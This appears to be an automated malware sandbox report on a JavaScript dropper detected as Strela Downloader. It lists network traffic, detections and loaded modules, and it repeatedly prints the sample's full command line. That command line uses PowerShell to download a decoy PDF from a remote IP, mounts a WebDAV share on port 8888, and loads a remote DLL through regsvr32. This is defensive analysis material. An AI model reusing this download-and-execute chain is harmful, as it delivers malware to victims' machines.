Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49733

Source: global traffic

TCP traffic: 192.168.2.6:49733 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49716 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2177197240.000002989C970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2247736302.000002AE4B9EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2245086377.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247736302.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247691963.000002AE4B998000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2244924456.000002AE4B9EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2245086377.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247736302.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: net.exe, 00000007.00000003.2245086377.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247736302.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: net.exe, 00000007.00000002.2247691963.000002AE4B998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/K
Source: svchost.exe, 00000009.00000002.3459354155.00000129760C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2255634848.000001297B800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3756, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2851627061208688962.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4544

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5676:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sijzkf2t.j1b.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2851627061208688962.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1532,i,8303843229215920734,14092026120147392141,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1532,i,8303843229215920734,14092026120147392141,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
